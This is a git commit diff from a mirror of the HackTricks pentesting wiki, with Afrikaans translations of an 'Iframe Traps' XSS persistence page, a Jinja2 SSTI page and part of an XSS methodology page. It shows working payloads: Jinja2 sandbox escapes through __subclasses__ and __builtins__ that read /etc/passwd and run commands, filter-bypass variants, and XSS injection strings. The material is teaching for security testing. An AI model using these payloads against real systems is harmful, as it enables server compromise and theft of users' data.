mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-21 20:23:18 +00:00
Translated ['pentesting-web/iframe-traps.md', 'pentesting-web/ssti-serve
This commit is contained in:
parent
43e2f01902
commit
5d12956deb
7 changed files with 201 additions and 109 deletions
BIN
.gitbook/assets/image (1248).png
Normal file
BIN
.gitbook/assets/image (1248).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 33 KiB |
BIN
.gitbook/assets/image (1249).png
Normal file
BIN
.gitbook/assets/image (1249).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 27 KiB |
|
@ -587,7 +587,6 @@
|
|||
* [Upgrade Header Smuggling](pentesting-web/h2c-smuggling.md)
|
||||
* [hop-by-hop headers](pentesting-web/abusing-hop-by-hop-headers.md)
|
||||
* [IDOR](pentesting-web/idor.md)
|
||||
* [Integer Overflow](pentesting-web/integer-overflow.md)
|
||||
* [JWT Vulnerabilities (Json Web Tokens)](pentesting-web/hacking-jwt-json-web-tokens.md)
|
||||
* [LDAP Injection](pentesting-web/ldap-injection.md)
|
||||
* [Login Bypass](pentesting-web/login-bypass/README.md)
|
||||
|
@ -651,6 +650,7 @@
|
|||
* [DOM Invader](pentesting-web/xss-cross-site-scripting/dom-invader.md)
|
||||
* [DOM XSS](pentesting-web/xss-cross-site-scripting/dom-xss.md)
|
||||
* [Iframes in XSS, CSP and SOP](pentesting-web/xss-cross-site-scripting/iframes-in-xss-and-csp.md)
|
||||
* [Integer Overflow](pentesting-web/xss-cross-site-scripting/integer-overflow.md)
|
||||
* [JS Hoisting](pentesting-web/xss-cross-site-scripting/js-hoisting.md)
|
||||
* [Misc JS Tricks & Relevant Info](pentesting-web/xss-cross-site-scripting/other-js-tricks.md)
|
||||
* [PDF Injection](pentesting-web/xss-cross-site-scripting/pdf-injection.md)
|
||||
|
@ -672,6 +672,7 @@
|
|||
* [JavaScript Execution XS Leak](pentesting-web/xs-search/javascript-execution-xs-leak.md)
|
||||
* [CSS Injection](pentesting-web/xs-search/css-injection/README.md)
|
||||
* [CSS Injection Code](pentesting-web/xs-search/css-injection/css-injection-code.md)
|
||||
* [Iframe Traps](pentesting-web/iframe-traps.md)
|
||||
|
||||
## ⛈️ Cloud Security
|
||||
|
||||
|
|
47
pentesting-web/iframe-traps.md
Normal file
47
pentesting-web/iframe-traps.md
Normal file
|
@ -0,0 +1,47 @@
|
|||
# Iframe Lokvalle
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
## Basiese Inligting
|
||||
|
||||
Hierdie vorm van XSS-misbruik via iframes om inligting van die gebruiker te steel terwyl hy oor die webbladsy beweeg, is oorspronklik gepubliseer in hierdie 2 plasings van trustedsec.com: [**hier**](https://trustedsec.com/blog/persisting-xss-with-iframe-traps) **en** [**hier**](https://trustedsec.com/blog/js-tap-weaponizing-javascript-for-red-teams).
|
||||
|
||||
Die aanval begin op 'n bladsy wat vatbaar is vir 'n XSS waar dit moontlik is om die **slagoffers nie die XSS te laat verlaat** deur hulle **binne 'n iframe te laat navigeer** wat die hele webtoepassing beslaan.
|
||||
|
||||
Die XSS-aanval sal basies die webbladsy in 'n iframe in 100% van die skerm laai. Daarom sal die slagoffer **nie agterkom dat hy binne 'n iframe is nie**. Dan, as die slagoffer in die bladsy navigeer deur skakels binne die iframe te kliek (binne die web), sal hy **binne die iframe navigeer** met die willekeurige JS wat gelaai is wat inligting van hierdie navigasie steel.
|
||||
|
||||
Verder is dit moontlik om dit meer realisties te maak deur van sekere **luisteraars** gebruik te maak om te kyk wanneer 'n iframe die ligging van die bladsy verander, en die URL van die blaaier met daardie ligginge op te dateer sodat die gebruiker dink hy beweeg bladsye deur die blaaier te gebruik.
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1248).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png">https://www.trustedsec.com/wp-content/uploads/2022/04/regEvents.png</a></p></figcaption></figure>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1249).png" alt=""><figcaption><p><a href="https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png">https://www.trustedsec.com/wp-content/uploads/2022/04/fakeAddress-1.png</a></p></figcaption></figure>
|
||||
|
||||
Verder is dit moontlik om luisteraars te gebruik om sensitiewe inligting te steel, nie net die ander bladsye wat die slagoffer besoek nie, maar ook die data wat gebruik word om **vorms te vul** en hulle te stuur (geloofsbriewe?) of om **die plaaslike stoor** te steel...
|
||||
|
||||
Natuurlik is die hoofbeperkinge dat 'n **slagoffer wat die oortjie sluit of 'n ander URL in die blaaier invoer, sal ontsnap aan die iframe**. 'n Ander manier om dit te doen sou wees om die bladsy te **ververs**, maar dit kan gedeeltelik **voorkom** word deur die regskliek-konteksmenu elke keer te deaktiveer wanneer 'n nuwe bladsy binne die iframe gelaai word of om op te let wanneer die muis van die gebruiker die iframe verlaat, moontlik om die herlaaiknoppie van die blaaier te kliek en in hierdie geval word die URL van die blaaier opgedateer met die oorspronklike URL wat vatbaar is vir XSS sodat as die gebruiker dit herlaai, sal dit weer vergiftig word (let wel dat dit nie baie heimlik is nie).
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
|
@ -2,15 +2,15 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hakwerk vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -30,11 +30,9 @@ return "Hello, send someting inside the param 'c'!"
|
|||
if __name__ == "__main__":
|
||||
app.run()
|
||||
```
|
||||
## **Misc**
|
||||
### **Debugverklaring**
|
||||
|
||||
### **Debug Verklaring**
|
||||
|
||||
Indien die Debug-uitbreiding geaktiveer is, sal 'n `debug` tag beskikbaar wees om die huidige konteks sowel as die beskikbare filters en toetse te dump. Dit is nuttig om te sien wat beskikbaar is om in die templaat te gebruik sonder om 'n debugger op te stel.
|
||||
Indien die Debug-uitbreiding geaktiveer is, sal 'n `debug`-tag beskikbaar wees om die huidige konteks sowel as die beskikbare filters en toetse te dump. Dit is nuttig om te sien wat beskikbaar is om in die sjabloon te gebruik sonder om 'n aflyn-ontleder op te stel.
|
||||
```python
|
||||
<pre>
|
||||
|
||||
|
@ -45,6 +43,7 @@ Indien die Debug-uitbreiding geaktiveer is, sal 'n `debug` tag beskikbaar wees o
|
|||
|
||||
|
||||
|
||||
|
||||
</pre>
|
||||
```
|
||||
Bron: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement)
|
||||
|
@ -62,14 +61,15 @@ Bron: [https://jinja.palletsprojects.com/en/2.11.x/templates/#debug-statement](h
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
```
|
||||
## **Jinja Injeksie**
|
||||
|
||||
Eerstens, in 'n Jinja-injeksie moet jy 'n manier vind om **uit die sandboks te ontsnap** en toegang te herstel tot die gewone Python-uitvoervloei. Om dit te doen, moet jy **voorwerpe misbruik** wat **van** die **nie-sandboksomgewing afkomstig is, maar toeganklik is vanuit die sandboks**.
|
||||
Eerstens, in 'n Jinja-injeksie moet jy 'n manier vind om **uit die sandboks te ontsnap** en toegang te herstel tot die normale python-uitvoervloei. Om dit te doen, moet jy **voorwerpe misbruik** wat **van** die **nie-sandboksomgewing afkomstig is, maar toeganklik is vanuit die sandboks**.
|
||||
|
||||
### Toegang tot Globale Voorwerpe
|
||||
|
||||
Byvoorbeeld, in die kode `render_template("hello.html", username=username, email=email)` kom die voorwerpe username en email **van die nie-sandboks Python-omgewing** en sal binne die **sandboksomgewing toeganklik wees**.\
|
||||
Byvoorbeeld, in die kode `render_template("hello.html", username=username, email=email)` kom die voorwerpe username en email **van die nie-sandboks python-omgewing** en sal binne die **sandboksomgewing toeganklik wees**.\
|
||||
Verder is daar ander voorwerpe wat **altyd toeganklik sal wees vanuit die sandboksomgewing**, dit is:
|
||||
```
|
||||
[]
|
||||
|
@ -81,9 +81,9 @@ request
|
|||
```
|
||||
### Herstel van \<klas 'object'>
|
||||
|
||||
Daarna moet ons van hierdie objekte na die klas kom: **`<klas 'object'>`** om te probeer om **gedefinieerde klasse** te **herwin**. Dit is omdat ons van hierdie objek die **`__subclasses__`** metode kan aanroep en toegang kan kry tot al die klasse van die nie-sandboxed python-omgewing.
|
||||
Daarna moet ons van hierdie objekte na die klas kom: **`<klas 'object'>`** om te probeer om **gedefinieerde klasse** te **herstel**. Dit is omdat ons van hierdie objek die **`__subclasses__`** metode kan aanroep en **toegang tot al die klasse van die nie-sandboxed** Python-omgewing kan kry.
|
||||
|
||||
Om toegang te kry tot daardie **objek klas**, moet jy **'n klas objek** benader en dan **`__base__`**, **`__mro__()[-1]`** of `.`**`mro()[-1]`** benader. En dan, **nadat** ons hierdie **objek klas** bereik het, roep ons **`__subclasses__()`** aan.
|
||||
Om toegang tot daardie **objek klas** te verkry, moet jy **'n klasobjek toegang** en dan **`__base__`**, **`__mro__()[-1]`** of `.`**`mro()[-1]`** toegang kry. En dan, **nadat** ons hierdie **objek klas** bereik het, roep ons **`__subclasses__()`** aan.
|
||||
|
||||
Kyk na hierdie voorbeelde:
|
||||
```python
|
||||
|
@ -121,6 +121,7 @@ dict.__mro__[-1]
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
# Not sure if this will work, but I saw it somewhere
|
||||
{{ [].class.base.subclasses() }}
|
||||
{{ ''.class.mro()[1].subclasses() }}
|
||||
|
@ -129,7 +130,7 @@ dict.__mro__[-1]
|
|||
|
||||
**Nadat ons** `<class 'object'>` **herstel het** en `__subclasses__` geroep het, kan ons nou daardie klasse gebruik om lêers te lees en skryf en kode uit te voer.
|
||||
|
||||
Die oproep na `__subclasses__` het ons die geleentheid gegee om toegang te verkry tot **honderde nuwe funksies**, ons sal tevrede wees deur net toegang te verkry tot die **lêerklas** om **lêers te lees/skryf** of enige klas met toegang tot 'n klas wat **opdragte kan uitvoer** (soos `os`).
|
||||
Die oproep na `__subclasses__` het ons die geleentheid gegee om **toegang te verkry tot honderde nuwe funksies**, ons sal tevrede wees deur net toegang te verkry tot die **lêerklas** om **lêers te lees/skryf** of enige klas met toegang tot 'n klas wat **opdragte kan uitvoer** (soos `os`).
|
||||
|
||||
**Lees/Skryf afgeleë lêer**
|
||||
```python
|
||||
|
@ -170,7 +171,7 @@ Om meer te leer oor **meer klasse** wat jy kan gebruik om **te ontsnap**, kan jy
|
|||
|
||||
#### Gewone ontduiking
|
||||
|
||||
Hierdie ontduiking sal ons in staat stel om die **eienskappe** van die voorwerpe **te **sonder om van sekere karakters te gebruik**.\
|
||||
Hierdie ontduiking sal ons in staat stel om die **eienskappe** van die voorwerpe **te **toegang** sonder om van sommige karakters gebruik te maak.\
|
||||
Ons het reeds van hierdie ontduiking in die voorbeelde van die vorige gesien, maar laat ons dit hier opsom:
|
||||
```bash
|
||||
# Without quotes, _, [, ]
|
||||
|
@ -198,6 +199,7 @@ http://localhost:5000/?c={{request|attr(request.args.getlist(request.args.l)|joi
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
```
|
||||
* [**Keer terug hier vir meer opsies om 'n globale objek te benader**](jinja2-ssti.md#toegang-tot-globale-voorwerpe)
|
||||
* [**Keer terug hier vir meer opsies om die objekklas te benader**](jinja2-ssti.md#herwinning-van-minder-as-klas-objek)
|
||||
|
@ -237,11 +239,12 @@ Sonder **`{{`** **`.`** **`[`** **`]`** **`}}`** **`_`**
|
|||
{% endraw %}
|
||||
|
||||
|
||||
|
||||
```
|
||||
## Jinja Injeksie sonder **\<klas 'object'>**
|
||||
## Jinja-injeksie sonder **\<klas 'object'>**
|
||||
|
||||
Van die [**globale voorwerpe**](jinja2-ssti.md#toegang-tot-globale-voorwerpe) is daar 'n ander manier om by **RCE te kom sonder om daardie klas te gebruik.**\
|
||||
As jy daarin slaag om by enige **funksie** van daardie globale voorwerpe te kom, sal jy in staat wees om **`__globals__.__builtins__`** te bereik en van daar af is die **RCE** baie **eenvoudig**.
|
||||
As jy daarin slaag om by enige **funksie** van daardie globale voorwerpe te kom, sal jy toegang hê tot **`__globals__.__builtins__`** en van daar af is die **RCE** baie **eenvoudig**.
|
||||
|
||||
Jy kan **funksies vind** van die voorwerpe **`request`**, **`config`** en enige **ander** interessante **globale voorwerp** waar jy toegang tot het met:
|
||||
```bash
|
||||
|
@ -263,7 +266,7 @@ Jy kan **funksies vind** van die voorwerpe **`request`**, **`config`** en enige
|
|||
|
||||
# You can iterate through children objects to find more
|
||||
```
|
||||
Sodra jy sekere funksies gevind het, kan jy die ingeboude funksies herstel met:
|
||||
Sodra jy sekere funksies gevind het, kan jy die `builtins` herstel met:
|
||||
```python
|
||||
# Read file
|
||||
{{ request.__class__._load_form_data.__globals__.__builtins__.open("/etc/passwd").read() }}
|
||||
|
@ -284,10 +287,9 @@ Sodra jy sekere funksies gevind het, kan jy die ingeboude funksies herstel met:
|
|||
|
||||
# All the bypasses seen in the previous sections are also valid
|
||||
```
|
||||
### Fuzzing WAF omseil
|
||||
### Fuzzing WAF omseiling
|
||||
|
||||
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) is 'n instrument wat spesialiseer in CTFs, maar kan ook nuttig wees om ongeldige parameters in 'n werklike scenario te bruteforce.
|
||||
Die instrument spuit net woorde en navrae om filters op te spoor, soek na omseilings, en bied ook 'n interaktiewe konsole.
|
||||
**Fenjing** [https://github.com/Marven11/Fenjing](https://github.com/Marven11/Fenjing) is 'n instrument wat spesialiseer in CTF's, maar kan ook nuttig wees om ongeldige parameters in 'n werklike scenario te bruteforce. Die instrument spuit net woorde en navrae om filters op te spoor, soek na omseilings, en bied ook 'n interaktiewe konsole.
|
||||
```
|
||||
webui:
|
||||
As the name suggests, web UI
|
||||
|
@ -327,7 +329,7 @@ Ander maniere om HackTricks te ondersteun:
|
|||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
|
|
|
@ -1,8 +1,8 @@
|
|||
# XSS (Cross Site Scripting)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
As jy belangstel in **hackingsloopbaan** en die onhackbare wil hack - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
Indien jy belangstel in **hackingsloopbaan** en die onhackbare wil hack - **ons is aan die aanstel!** (_vloeiende Pools geskrewe en gesproke vereis_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -14,20 +14,20 @@ As jy belangstel in **hackingsloopbaan** en die onhackbare wil hack - **ons is a
|
|||
1. Kontroleer **watter simbole jy kan gebruik** en afhangende daarvan, berei die lading voor:
|
||||
1. In **rou HTML**:
|
||||
1. Kan jy nuwe HTML-etikette skep?
|
||||
2. Kan jy gebeure of eienskappe gebruik wat die `javascript:` protokol ondersteun?
|
||||
3. Kan jy beskermings omseil?
|
||||
4. Word die HTML-inhoud deur enige kliëntkant JS-enjin geïnterpreteer (_AngularJS_, _VueJS_, _Mavo_...), jy kan 'n [**Kliëntkant Sjablooninspuiting**](../client-side-template-injection-csti.md) misbruik.
|
||||
2. Kan jy gebeurtenisse of eienskappe gebruik wat die `javascript:` protokol ondersteun?
|
||||
3. Kan jy beskerming omseil?
|
||||
4. Word die HTML-inhoud deur enige kliëntkant-JS-enjin geïnterpreteer (_AngularJS_, _VueJS_, _Mavo_...), jy kan 'n [**Kliëntkant-sjablooninspuiting**](../client-side-template-injection-csti.md) misbruik.
|
||||
5. As jy nie HTML-etikette kan skep wat JS-kode uitvoer nie, kan jy 'n [**Hangende Merkteken - HTML-skriptlose inspuiting**](../dangling-markup-html-scriptless-injection/) misbruik?
|
||||
2. Binne 'n **HTML-etiket**:
|
||||
1. Kan jy na rou HTML-konteks ontsnap?
|
||||
2. Kan jy nuwe gebeure/eienskappe skep om JS-kode uit te voer?
|
||||
2. Kan jy nuwe gebeurtenisse/eienskappe skep om JS-kode uit te voer?
|
||||
3. Ondersteun die eienskap waarin jy vasgevang is JS-uitvoering?
|
||||
4. Kan jy beskermings omseil?
|
||||
4. Kan jy beskerming omseil?
|
||||
3. Binne **JavaScript-kode**:
|
||||
1. Kan jy die `<script>`-etiket ontsnap?
|
||||
2. Kan jy die string ontsnap en verskillende JS-kode uitvoer?
|
||||
3. Is jou insette in sjabloonliterale \`\`?
|
||||
4. Kan jy beskermings omseil?
|
||||
4. Kan jy beskerming omseil?
|
||||
4. JavaScript **funksie** wat **uitgevoer** word
|
||||
1. Jy kan die naam van die funksie aandui om uit te voer. bv.: `?callback=alert(1)`
|
||||
4. Indien **gebruik**:
|
||||
|
@ -44,8 +44,8 @@ Wanneer jy aan 'n komplekse XSS werk, mag jy dit interessant vind om van die vol
|
|||
Om suksesvol 'n XSS uit te buit, is die eerste ding wat jy moet vind 'n **waarde wat deur jou beheer word en wat in die webbladsy weerspieël word**.
|
||||
|
||||
* **Tussenliggend weerspieël**: As jy vind dat die waarde van 'n parameter of selfs die pad in die webbladsy weerspieël word, kan jy 'n **Weerspieëlde XSS** uitbuit.
|
||||
* **Gestoor en weerspieël**: As jy vind dat 'n waarde wat deur jou beheer word, op die bediener gestoor word en elke keer as jy 'n bladsy besoek, weerspieël word, kan jy 'n **Gestoorde XSS** uitbuit.
|
||||
* **Toegang via JS**: As jy vind dat 'n waarde wat deur jou beheer word, met JS toegang verkry word, kan jy 'n **DOM XSS** uitbuit.
|
||||
* **Gestoor en weerspieël**: As jy vind dat 'n waarde wat deur jou beheer word in die bediener gestoor word en elke keer as jy 'n bladsy besoek weerspieël word, kan jy 'n **Gestoorde XSS** uitbuit.
|
||||
* **Toegang via JS**: As jy vind dat 'n waarde wat deur jou beheer word deur JS gebruik word, kan jy 'n **DOM XSS** uitbuit.
|
||||
|
||||
## Kontekste
|
||||
|
||||
|
@ -54,7 +54,7 @@ Wanneer jy probeer om 'n XSS uit te buit, is die eerste ding wat jy moet weet **
|
|||
### Rou HTML
|
||||
|
||||
As jou inset **weerspieël word op die rou HTML**-bladsy, sal jy enige **HTML-etiket** moet misbruik om JS-kode uit te voer: `<img , <iframe , <svg , <script` ... dit is net 'n paar van die vele moontlike HTML-etikette wat jy kan gebruik.\
|
||||
Hou ook [Kliëntkant Sjablooninspuiting](../client-side-template-injection-csti.md) in gedagte.
|
||||
Hou ook [Kliëntkant-sjablooninspuiting](../client-side-template-injection-csti.md) in gedagte.
|
||||
|
||||
### Binne HTML-etiketseienskap
|
||||
|
||||
|
@ -62,7 +62,7 @@ As jou inset binne die waarde van die eienskap van 'n etiket weerspieël word, k
|
|||
|
||||
1. Om **uit die eienskap en uit die etiket te ontsnap** (dan sal jy in die rou HTML wees) en nuwe HTML-etiket skep om te misbruik: `"><img [...]`
|
||||
2. As jy **uit die eienskap kan ontsnap maar nie uit die etiket nie** (`>` is gekodeer of verwyder), afhangende van die etiket kan jy 'n **gebeurtenis skep** wat JS-kode uitvoer: `" autofocus onfocus=alert(1) x="`
|
||||
3. As jy **nie uit die eienskap kan ontsnap nie** (`"` word gekodeer of verwyder), dan afhangende van **watter eienskap** jou waarde weerspieël word in **as jy al die waarde beheer of net 'n deel daarvan** jy dit kan misbruik. Byvoorbeeld, as jy 'n gebeurtenis soos `onclick=` beheer, kan jy dit arbitrêre kode laat uitvoer wanneer dit geklik word. 'n Ander interessante **voorbeeld** is die eienskap `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
|
||||
3. As jy **nie uit die eienskap kan ontsnap nie** (`"` word gekodeer of verwyder), dan afhangende van **watter eienskap** jou waarde weerspieël word in **as jy al die waarde beheer of net 'n deel daarvan** kan jy dit misbruik. Byvoorbeeld, as jy 'n gebeurtenis soos `onclick=` beheer, kan jy dit arbitrêre kode laat uitvoer wanneer dit geklik word. 'n Ander interessante **voorbeeld** is die eienskap `href`, waar jy die `javascript:` protokol kan gebruik om arbitrêre kode uit te voer: **`href="javascript:alert(1)"`**
|
||||
4. As jou inset binne "**onuitbuitbare etikette**" weerspieël word, kan jy die **`accesskey`-truk** probeer om die kwesbaarheid te misbruik (jy sal 'n soort sosiale ingenieur nodig hê om dit te misbruik): **`" accesskey="x" onclick="alert(1)" x="`**
|
||||
|
||||
Vreemde voorbeeld van Angular wat XSS uitvoer as jy 'n klassenaam beheer:
|
||||
|
@ -80,7 +80,7 @@ In hierdie geval word jou inset weerspieël tussen **`<script> [...] </script>`*
|
|||
* `'-alert(1)-'`
|
||||
* `';-alert(1)//`
|
||||
* `\';alert(1)//`
|
||||
* As dit binne sjabloonliterale weerspieël word, kan jy **JS-uitdrukkings** inbed met behulp van `${ ... }` sintaksis: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
* As dit weerspieël word binne sjabloonliterale kan jy **JS-uitdrukkings** inbed met behulp van `${ ... }` sintaksis: `` var greetings = `Hello, ${alert(1)}` ``
|
||||
* **Unicode-kodering** werk om **geldige javascript-kode** te skryf:
|
||||
```javascript
|
||||
\u{61}lert(1)
|
||||
|
@ -89,7 +89,7 @@ In hierdie geval word jou inset weerspieël tussen **`<script> [...] </script>`*
|
|||
```
|
||||
#### Javascript Hoisting
|
||||
|
||||
Javascript Hoisting verwys na die geleentheid om **funksies, veranderlikes of klasse te verklaar nadat hulle gebruik is sodat jy scenarios kan misbruik waar 'n XSS onverklaarde veranderlikes of funksies gebruik.**\
|
||||
Javascript Hoisting verwys na die geleentheid om **funksies, veranderlikes of klasse te verklaar nadat hulle gebruik is sodat jy situasies kan misbruik waar 'n XSS onverklaarde veranderlikes of funksies gebruik.**\
|
||||
**Kyk na die volgende bladsy vir meer inligting:**
|
||||
|
||||
{% content-ref url="js-hoisting.md" %}
|
||||
|
@ -98,7 +98,7 @@ Javascript Hoisting verwys na die geleentheid om **funksies, veranderlikes of kl
|
|||
|
||||
### Javascript Funksie
|
||||
|
||||
Verskeie webbladsye het eindpunte wat **die naam van die funksie aanvaar om uit te voer as parameter**. 'n Algemene voorbeeld wat jy in die wild kan sien, is iets soos: `?callback=callbackFunc`.
|
||||
Verskeie webbladsye het eindpunte wat **die naam van die funksie aanvaar om uit te voer as parameter**. 'n Algemene voorbeeld wat in die wild gesien word, is iets soos: `?callback=callbackFunc`.
|
||||
|
||||
'n Goeie manier om uit te vind of iets wat direk deur die gebruiker gegee word, probeer uitgevoer word, is deur **die paramwaarde te wysig** (byvoorbeeld na 'Vulnerable') en in die konsole te kyk vir foute soos:
|
||||
|
||||
|
@ -106,7 +106,7 @@ Verskeie webbladsye het eindpunte wat **die naam van die funksie aanvaar om uit
|
|||
|
||||
Indien dit vatbaar is, kan jy dalk 'n **waarskuwing aktiveer** deur net die waarde te stuur: **`?callback=alert(1)`**. Dit is egter baie algemeen dat hierdie eindpunte die inhoud **valideer** om slegs letters, syfers, kolletjies en onderstrepe toe te laat (**`[\w\._]`**).
|
||||
|
||||
Nietemin, selfs met daardie beperking is dit steeds moontlik om sekere aksies uit te voer. Dit is omdat jy daardie geldige karakters kan gebruik om enige element in die DOM **te benader**:
|
||||
Nietemin is dit steeds moontlik om sekere aksies uit te voer selfs met daardie beperking. Dit is omdat jy daardie geldige karakters kan gebruik om enige element in die DOM **te benader**:
|
||||
|
||||
![](<../../.gitbook/assets/image (747).png>)
|
||||
|
||||
|
@ -118,7 +118,7 @@ nextElementSibiling
|
|||
lastElementSibiling
|
||||
parentElement
|
||||
```
|
||||
Jy kan ook probeer om **Javascript funksies direk te aktiveer**: `obj.sales.delOrders`.
|
||||
Jy kan ook probeer om **Javascript funksies direk te trigger**: `obj.sales.delOrders`.
|
||||
|
||||
Gewoonlik is die eindpunte wat die aangeduide funksie uitvoer eindpunte sonder baie interessante DOM, **ander bladsye in dieselfde oorsprong** sal 'n **meer interessante DOM** hê om meer aksies uit te voer.
|
||||
|
||||
|
@ -130,7 +130,7 @@ Daarom is die **Selfde Oorsprong Metode Uitvoering (SOME)** uitbuiting ontwikkel
|
|||
|
||||
### DOM
|
||||
|
||||
Daar is **JS-kode** wat **onveilig** van 'n aanvaller beheerde data gebruik soos `location.href`. 'n Aanvaller kan dit misbruik om willekeurige JS-kode uit te voer.
|
||||
